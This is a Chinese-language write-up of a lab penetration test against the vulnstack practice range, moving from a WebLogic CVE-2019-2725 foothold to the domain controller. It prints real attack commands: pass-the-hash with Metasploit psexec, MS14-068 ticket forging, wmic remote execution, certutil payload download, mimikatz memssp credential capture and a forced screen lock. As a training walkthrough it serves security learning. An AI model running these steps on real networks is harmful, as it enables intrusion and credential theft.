从外网到域控(vulnstack靶机实战2)

 

前言

大家好,我是来自鸿鹄实验室的lengyi,前几天写了一个从外网到域控(vulnstack靶机实战)很多朋友便私信我第二个靶机的教程,苦于学校的java课程设计,一拖再托,现在终于完成了,分享给大家。

vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

内网网段:10.10.10.1/24
DC
IP:10.10.10.10OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201

大体拓扑如下:

开搞。开搞。

 

外网初探

我们先从web机开始入手,注意web机默认没有web服务,需要手动开启,这个环境中的是weblogic环境版本是10.3.6.0,默认在C:OracleMiddlewareuser_projectsdomainsbase_domain下有一个startWeblogic的批处理,运行它即可

然后访问目标机的7001端口就能看到weblogic的控制台了….

说起weblogic大家一定很熟悉了,漏洞遍地走,简单测试之,工具地址(https://github.com/rabbitmask/WeblogicScan.git)

得到的结果就是存在CVE-2019-2725还有用户名、密码,我们登录试试

额,失败了,换CVE-2019-2725试试吧,使用POC验证,发现漏洞存在

使用exp上传webshell

(ps:测试途中ip有时会变化,误怪)

额,这样总是觉得不方便..便想着反弹一个msf的shell回来,因为自己喜欢msf的shell,使用exp进行反弹,原理就是调用powershell来反弹shell,exp地址:https://www.exploit-db.com/exploits/46780

尝试了一番绕过无果后,让朋友帮忙免杀了一下payload,终于获得了一个靶机的msf shell

因为已经知道了当前的权限比较低,我们还是先搞一个system的shell回来再说…

简单查看了一下补丁情况,发现补丁挺少的

个人感觉msf里面对于2008提权比较好用的就是ms15_051 、ms15_078这两个了,我这里先使用ms15_051 试试

失败,感觉应该是uac在作祟,后来去到靶机操作发现的确如此,我们先 bypass uac再说….

关于bypass UAC的介绍这里有一篇文章我觉得写的很好,大家有兴趣的可以看一下(https://www.cnblogs.com/Chesky/p/UAC_Bypass.html)
常用的绕过方法也是文章中总结的几种:

1,白名单提权机制;如Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,PkgMgr.exe Bypass UAC等。
2,DLL 劫持;
3,Windows 自身漏洞提权;
4,远程注入;
5,COM 接口技术。

想msf、cs里面也是已经自带了一些bypass uac的手法,在实战的时候可以去测试一下,我这里选择的方法是使用Windows 自身漏洞提权来bypass uac,其实也是因为自己尝试了几个常见的手法后没有bypass成功,才出此下测,毕竟0day好于一切。
我这里选用的exp是CVE-2018-8120这个exp,然后使用cs生成一个exe文件,一会使用exp来执行cs来反弹一个shell回来,我们先上传exp上去

然后执行,cs获取到一个system的session

我们这里需要用到CS的argue参数了在这里顺便感谢一下Y4er师傅的指教,具体原理、操作请看(http://www.0x3.biz/archives/837.html)

因为我们已经有了一个system的shell,所以我们使用这个argue参数去污染net程序

发现已经污染成功了,这个时候我们激活guest用户并把他加入到administrators组里面

远程桌面默认开启(早知道就用0708了),登录桌面成功

 

内网初探:

既然已经有了system的权限,自然是抓一下管理员的密码和ntlm了

然后我们需要进行下一步的深入,因为实现已经知道了网段地址(当然判断起来也没什么难度),所以我们使用cs做一个代理

注意:连接的代理地址是你cs的服务端地址,不是目标服务器的地址。

个人喜欢msf里面的一些模块,所以一般会使用代理功能进行代理msf,然后,我们的下一个目标就是10.10.10.201这一台机器,内网通用手法之一就是17-010的利用,因为真是环境中17-010也是在内网中十分常见,现在可能是0708比较多…

漏洞存在,尝试反弹shell,失败..

好吧,换个思路,既然我们已经有了ntlm和明文密码,那么我们便可以尝试使用smb relay攻击,关于攻击手法可以查看(https://www.jianshu.com/p/c7d8e7d9c03c)

一开始我使用的是administrator进行的PTH攻击,但是失败了,看了一下各个帐号的hash内容

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

发现虽然三个帐号密码的内容虽然一样,但是后面还是不一样的(一样才怪呢),这个跟windows的认证原理有关系,可是administrator不能进行PTH攻击,那么我们就没有办法了吗?不是的,在刚才获取明文密码的过程中我还发现了一个名为mssql的用户,于是猜测会不会是这个用户,于是进行尝试..

msf5 exploit(windows/smb/psexec_psh) > set rhosts 10.10.10.201
rhosts => 10.10.10.201
msf5 exploit(windows/smb/psexec_psh) > set smbuser mssql 
smbuser => mssql
msf5 exploit(windows/smb/psexec_psh) > set subpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
subpass => aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf5 exploit(windows/smb/psexec_psh) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
smbpass => aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24

事实证明,我是对的..可是总是拒绝

换了其他工具也是一样..

悲催的我发现它开启了3389,于是0708走起,发现依旧失败…

顿时陷入瓶颈(其实也可以用其他的办法尝试)…既然客户机不行,那我们就直接打域控…

在域环境下,我们常用的就是ms14-068,我这里直接使用CS来利用这个漏洞,具体操作如下..

我们先查看该用户的SID(重新反弹了一个普通用户的shell)

下面使用 pykek 生成票据,然后用 proxychains 把 pykek 带入内网

✘ ⚡ root@kali  MS14-068/pykek   master ●  proxychains python ms14-068.py -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p '1qaz@WSX'
ProxyChains-3.1 (http://proxychains.sf.net)
  [+] Building AS-REQ for 10.10.10.10... Done!
  [+] Sending AS-REQ to 10.10.10.10...|S-chain|-<>-127.0.0.1:48979-<><>-10.10.10.10:88-<><>-OK
 Done!
  [+] Receiving AS-REP from 10.10.10.10... Done!
  [+] Parsing AS-REP from 10.10.10.10... Done!
  [+] Building TGS-REQ for 10.10.10.10... Done!
  [+] Sending TGS-REQ to 10.10.10.10...|S-chain|-<>-127.0.0.1:48979-<><>-10.10.10.10:88-<><>-OK
 Done!
  [+] Receiving TGS-REP from 10.10.10.10... Done!
  [+] Parsing TGS-REP from 10.10.10.10... Done!
  [+] Creating ccache file 'TGT_de1ay@de1ay.com.ccache'... Done!
  • de1ay.com 为 域名
  • de1ay 为域中的一个用户
  • 1qaz@WSX 为 de1ay 的密码
  • de1ay 的 sid 为S-1-5-21-2756371121-2868759905-3853650604-1001
  • 10.10.10.10为域控的 IP

执行完毕后会在当前目录下生成一个 .ccache 的文件

然后使用 KrbCredExport(https://github.com/rvazarkar/KrbCredExport) 转 .ccache 为 kirbi 格式。

 ⚡ root@kali  MS14-068/pykek   master ●  python KrbCredExport/KrbCredExport.py TGT_de1ay@de1ay.com.ccache de1ay.ticket
CCache File Found, Converting to kirbi

转换后的文件保存在 de1ay.ticket , 然后可以用 cs 加载这个文件。

下面先看看没有加载前的权限。

首先获取域控的机器名

所以域控的主机名为

DC.de1ay.com

然后 net use 一下 ,发现是不能访问的。

shell net use \DC.de1ay.comc$

先清除凭证

kerberos_ticket_purge

然后加载 de1ay.ticket 文件, 再次执行发现可以访问域控资源,已经得到域控的权限。

注: 一定要用 域控的主机全名 而不要用 ip 。

然后使用当前对话对域控进行 psh 攻击 ,使用 smb 的 beacon

但是经过一番尝试,我这里一直失败,无法上线,心酸啊…

暂时先不管它,反正现在我们已经有了一个域成员的用户密码,我们试试用wmic看看

用法

wmic /node:ip地址 /user:用户名 /password:密码 process call create cmd.exe

执行成功

本来准备用cs的转发,然后重新设置一个beacon,但是一直上线不了就换msf了,路由功能我一直觉得msf做的比CS要好,所以派生一个shell给msf,具体操作参考(https://xz.aliyun.com/t/6722#toc-2)

msf上线。

然后加一个路由进来

然后在web机上搭建一个简易的web服务,然后使用msf生成一个正向的shell,在cs下使用wmi用cmd使用certutil下载文件,并执行,msf收到域控的session

下面就是抓管理员的明文了,大体流程如下:

手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码

因为默认权限不够,使用ms16-032进行提权(就是喜欢提权,因为exp多),然后该注册表,使用脚本锁屏

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

然后上传mimitakz做如下操作:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::memssp
Injected =)

mimikatz # exit

锁屏脚本如下:

Function Lock-WorkStation {

$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

报存为ps1文件,然后加载即可

模拟登录获取到明文密码

有了域管理的帐号之后我们不就是为所欲为了吗

最后附上一张全部上线的图。

PC那台机子不显示,233333

 

写在后面

初识域渗透,写的不好,中间也是爬了各种坑,还望各位师傅们海涵,因为是靶机很多操作都是比较随意化的,也没有涉及痕迹清理、权限维持的内容,如有时间肯定补上。如果大家喜欢(稿费多的话)过几天更新第三篇哦。

(完)